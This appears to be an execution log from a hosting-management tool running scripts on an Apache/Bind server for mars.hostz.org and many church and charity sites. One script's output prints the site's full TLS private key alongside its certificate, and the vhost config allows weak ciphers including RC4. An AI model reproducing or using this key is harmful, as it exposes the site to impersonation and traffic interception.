PUT: /tmp/pkp667084
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/000-hostz_mars_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-09 06:00:34:
chmod 755 /tmp/pkp667084; /tmp/pkp667084; rm /tmp/pkp667084
2025-10-09 06:00:34:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/000-hostz_mars_org.conf 38
<VirtualHost *:80>
ServerName mars.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_mars
<Directory /var/www/hostz_mars>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/mars_access.log combined
ErrorLog /var/log/apache2/hostz/mars_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName mars.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_mars
<Directory /var/www/hostz_mars>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_mars/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/mars_secure_access.log combined
ErrorLog /var/log/apache2/hostz/mars_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-09 06:00:34:
PUT: /tmp/pkp166910
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=000-hostz_mars_org.conf
TARGET=/etc/apache2/sites-enabled/000-hostz_mars_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName mars.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_mars
<Directory /var/www/hostz_mars>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/mars_access.log combined
ErrorLog /var/log/apache2/hostz/mars_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName mars.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_mars
<Directory /var/www/hostz_mars>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_mars/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/mars_secure_access.log combined
ErrorLog /var/log/apache2/hostz/mars_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/000-hostz_mars_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2//etc/apache2/sites-enabled/000-hostz_mars_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/000-hostz_mars_org.conf= 1'
fi
2025-10-09 06:00:34:
chmod 755 /tmp/pkp166910; /tmp/pkp166910; rm /tmp/pkp166910
2025-10-09 06:00:34:
2025-10-09 06:00:34:
PUT: /tmp/pkp930122
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-09 06:00:34:
chmod 755 /tmp/pkp930122; /tmp/pkp930122; rm /tmp/pkp930122
2025-10-09 06:00:35:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-09 06:00:35: Establishing a connection
2025-10-09 06:00:35:
PUT: /tmp/pkp857519
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-09 06:00:35:
chmod 755 /tmp/pkp857519; /tmp/pkp857519; rm /tmp/pkp857519
2025-10-09 06:00:35:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-09 06:00:35:
PUT: /tmp/pkp302411
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/000-hostz_mars_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-09 06:00:35:
chmod 755 /tmp/pkp302411; /tmp/pkp302411; rm /tmp/pkp302411
2025-10-09 06:00:35:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/000-hostz_mars_org.conf 1374
<VirtualHost *:80>
ServerName mars.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_mars
<Directory /var/www/hostz_mars>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/mars_access.log combined
ErrorLog /var/log/apache2/hostz/mars_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName mars.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_mars
<Directory /var/www/hostz_mars>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_mars/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/mars_secure_access.log combined
ErrorLog /var/log/apache2/hostz/mars_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-09 06:00:35:
PUT: /tmp/pkp511872
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-09 06:00:35:
chmod 755 /tmp/pkp511872; /tmp/pkp511872; rm /tmp/pkp511872
2025-10-09 06:00:35:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d 5341
72:16:f8:4e:1f:35:57:75:0b:e0:20:62:3e:62:76:cf
-----BEGIN CERTIFICATE-----
MIIE9zCCA9+gAwIBAgISBlU3nXHtbb7cUEljQQNZXNk6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA5MDUwMjAxWhcNMjYwMTA3MDUwMjAwWjAZMRcwFQYDVQQD
Ew5tYXJzLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AM//eTz1niCwUntFTsD6FMmXVolnP9l+uH1npMsMvZ6MvjefnrlG7hPgW59DyKAY
wO6b9FPVEkyMHFUGy61t98StVe4cmM9hRcF06I63jmsJOoxRI/gVtRhH4DZ6xsUv
May2t5mKd6+5KEJB7HjOCXcPJ0z1/wxLBrdS+ducEYYgjPzh1xdWHGm3wo4DECwu
dFUax06AMWLWUL4CgSVPlGX7nUrDdaNvjTqK4nLHm8ew4A2cu3bjlxTFiidr3hfU
NwBACMWocfK/+hSNrEVNPhdMxoez7WuQYdm+y4RcOscpbbONgcuRzW98kVfFPWUd
Yi15koyOUSqP0uh86g41uXkCAwEAAaOCAh0wggIZMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUYtGG5ImepC01QoCXhHqws3MOpDswHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5tYXJzLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMu
bGVuY3Iub3JnLzU5LmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1AGQRxGyk
EuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAABmceOi7MAAAQDAEYwRAIgHGwa
KjtdmZzd4cj0LHML6uXrbtWVoGXCt3Hd9J/VxdoCIHX21am1V+ipabWur2kcca6K
yShh/1h3X5YpnOiDKy2nAHYAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/K
qcYAAAGZx46TsAAABAMARzBFAiEAukIXt567dh4+97acVQnz1qagvCkNdw7VJemd
i/yuBxcCIHm+vg8m8ChpC++yiviSUqDezvitow7+siPOyrfGm8cyMA0GCSqGSIb3
DQEBCwUAA4IBAQAik0gSbOrvTSSoS/woZv3tRpwUwmhD/ipoqBOUXxhIgoYoAUFK
8Z6iSAo2YUm5qnM3cRkISoFpSJD4no4TmLWEJ4kog0ZKf12ql0lIRYFjk8iCEYXY
2lyVIRk7N/kHxb233fqy9rvUkyR5uNV0iE4cLL4cr2dDNtlgIaUW6jki1+4jDqz1
McWqr+qOfWztb0fWZYoi4tH1uO84inyFqRHM7ympDe4qRtdGQvKoW/ZLpn8mgjmi
wMkWCZNenRQqAjZ5RfIsLlvqv46Sa5oFkgtPIgfWKuvcSS+EatPLacjZz1SOWiOF
mGvKXxQEXrn6UGnaCnyRh0mXRnWQW7BzogS5
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDP/3k89Z4gsFJ7
RU7A+hTJl1aJZz/Zfrh9Z6TLDL2ejL43n565Ru4T4FufQ8igGMDum/RT1RJMjBxV
BsutbffErVXuHJjPYUXBdOiOt45rCTqMUSP4FbUYR+A2esbFLzGstreZinevuShC
Qex4zgl3DydM9f8MSwa3UvnbnBGGIIz84dcXVhxpt8KOAxAsLnRVGsdOgDFi1lC+
AoElT5Rl+51Kw3Wjb406iuJyx5vHsOANnLt245cUxYona94X1DcAQAjFqHHyv/oU
jaxFTT4XTMaHs+1rkGHZvsuEXDrHKW2zjYHLkc1vfJFXxT1lHWIteZKMjlEqj9Lo
fOoONbl5AgMBAAECggEARDNfnIZo+Az4rqTWIt6dTFCMNnedbwJnGe+PEGk4D7HU
eUakc9n3HJtXT4yZTy1urY6Dea2G14SlkZet10sUj+/KGk5UKMObbMiZrJoxX5Vi
FjpQ0frEK5b9xL9TR7qmzhwHbZgCkKLkuX0GPcJJRjm4yDptC6naJOhXNxQghtq0
LBHY1sja/PTuo7bDgABSPoWx/ZW8UEoTFbmMu3oV6i47Ufsq+NFaukn+r301hSV5
gAqs3bCHyTGdj3RJQz5fObyU8vw5vorLtJ/F3E7EohkW8goy3vhxK76ZGh+qWopA
qIVhv1ZfWj6uQkVhfEcNIT61o0WhzlEAxM5DRZdotQKBgQDnpWNqhpa9WX0pBD8n
EyAHj/PsFwMMAqkRyXItW5gx28C9okQYlIOPRZFOx4HygLc85YQUZvS0AwBwHlCs
a92+4apkK98aXRQHD7PxG6ApcpOW3xx8HaNqwFMsLzLEFb21G66YUtgq+AiaUveH
q8mJdehvCrVR1Jn348mDwiZXpwKBgQDl3ZxpDjIh9qcJj5wbPifhVFj+CQsFHWMv
ENBj7gqd7GdjCHOVAJMaIrZmOhA+L7iMa5sHxKlhZh8ht/rjn3VZiY3nOUndEsnJ
4Mu9SEkC9EIjaQ60lmCRaDdZg3Jv+8lwV9lz3nwz3sZQYRkxqOGPQe1iDRKPeP++
DE0Ko8GJ3wKBgF6kW/Hx+zRxk4lmisbUMYnlbqtO25fUnm799wBBI/V660yPN3Mz
emzW539gU99YZ4Uh4MzVI7VIZK1qNVu81mRentc+dXC4Bq6747DmsJE+lr5VebXc
BiBfY5vxzLQAjfmozbS+ZENqA1nJ/AgaT8Uxvz1fCqXcTuvQzUxfznqRAoGBAIyF
bZjLlNoubu7pXAVLehXF+qFR5eq6jGe5X6u3WcYxPwLLp9zu/P59OgREeqmJgshU
//E/yExCocV7M2TzlkmmTZmM7Bq54aIISoTsK7YinEwJbXP4ehBqJWwTb2IGCp8j
FUxANq1/Ar0gnsY896ccJoJKe4456h3EZ1SZxzcBAoGBAKqcdnpIMd6AqUOxEssu
WysJ/T55VzUdcGBcvtwbE+zauZY8BrGuGtJAuh2evpIuzFif8676QLriPEsxkZm0
6NNSOAQRhpPGHP0hL8WxZWNqq4cb5PgNpboqR5MiCVHERodN3WLLUG3yKDgGosrc
HyXUnkkebqKjzKxMFHZdEChh
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-09 06:00:35: Establishing a connection
2025-10-09 06:00:36: Establishing a connection
2025-10-09 06:00:37:
PUT: /tmp/pkp425151
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-09 06:00:38:
chmod 755 /tmp/pkp425151; /tmp/pkp425151; rm /tmp/pkp425151
2025-10-09 06:00:38:
0
2025-10-09 11:12:12: Establishing a connection
2025-10-09 11:12:26: Establishing a connection
2025-10-09 11:12:26:
PUT: /tmp/pkp860018
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-09 11:12:27:
runuser -l bind -s /bin/bash -c '/tmp/pkp860018; rm /tmp/pkp860018'
2025-10-09 11:12:27:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
